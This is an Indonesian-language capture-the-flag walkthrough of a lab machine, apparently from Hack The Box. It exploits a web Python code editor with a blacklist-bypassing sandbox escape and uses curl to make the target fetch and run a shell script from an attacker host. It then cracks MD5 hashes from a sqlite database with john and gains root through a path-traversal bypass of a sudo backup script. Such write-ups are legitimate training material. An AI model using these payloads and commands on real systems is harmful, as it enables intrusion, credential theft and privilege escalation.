
Recon
Port Scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Kita bisa lihat kalo ada web dengan port 5000 yang berjalan.
User
app-production

Di web tersebut kita bisa menjalankan code python yang kita inginkan, namun untuk function yang biasa digunakan untuk RCE kemungkinan besar di blacklist, sehingga kita harus bypass nya.
Ditambah dengan tanda “+” untuk melakukan bypass terhadap blacklist.
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("ls /").re'+'ad()'))
Selain langsung melalu web, kita bisa menggunalan curl untuk mengirimkan code.
Pertama kita check website menggunakan curl.
curl http://10.10.11.62:5000
Kita mendapatkan endpoint /run_code:
$.post('/run_code', {code: code}, function(data) {
document.getElementById('output').textContent = data.output;
});
Kirimkan menggunakan curl dan gunakan –data-urlencode biar curl encode otomatis.
curl -X POST http://10.10.11.62:5000/run_code -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode $'code=obj = globals()["__buil" + "tins__"][\'ev\' + \'al\']\nresult = obj(\'__imp\' + \'ort__("o\' + \'s").pop\' + \'en("ls").rea\' + \'d()\')\nprint(result)'

Sekarang kita lakukan RCE ke target.
curl -X POST http://10.10.11.62:5000/run_code \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode $'code=print(\'\'.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[\'__buil\' + \'tins__\'][\'ev\' + \'al\'](\'__imp\' + \'ort__("o\' + \'s").po\' + \'pen("wget 10.10.xx.xx:1412/shell.sh -O /tmp/shell.sh").re\' + \'ad()\'))\nprint(\'\'.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[\'__buil\' + \'tins__\'][\'ev\' + \'al\'](\'__imp\' + \'ort__("o\' + \'s").po\' + \'pen("bash /tmp/shell.sh").re\' + \'ad()\'))

Flag user ada di direktori home user ini.
Martin
Ada file database.db di app/instance yang menggunakan sqlite3.
SQLite version 3.49.1 2025-02-18 13:38:58 Enter ".help" for usage hints.
sqlite> .tables
code user
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
Crack menggunakan john
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
nafeelxxxxxxxxxxx (?)
Login menggunakan SSH dengan kredensial yang diatas.
Root
Jalankan sudo -l
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
Cek file /usr/bin/backy.sh
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
Dari code diatas kita tahu bahwa:
- Mengecek input file JSON (task.json)
- Melakukan sanitasi direktori (../ dihapus)
- Memastikan bahwa semua direktori yang akan diarsipkan berada di dalam /var/ atau /home/
- Jika berhasil melakukan itu semua, maka backy akan melakukan bakcup.
Kita bypass ../ dengan membuat double.
{
"directories_to_archive": [
"/home/..././root/"
],
"destination": "/tmp"
}
Lalu jalankan.
sudo /usr/bin/backy.sh task.json
Lalu extract backup yang sudah kita buat di folder /tmp

Tentu kita juga bisa dapetin id_rsa nya.
Rooted.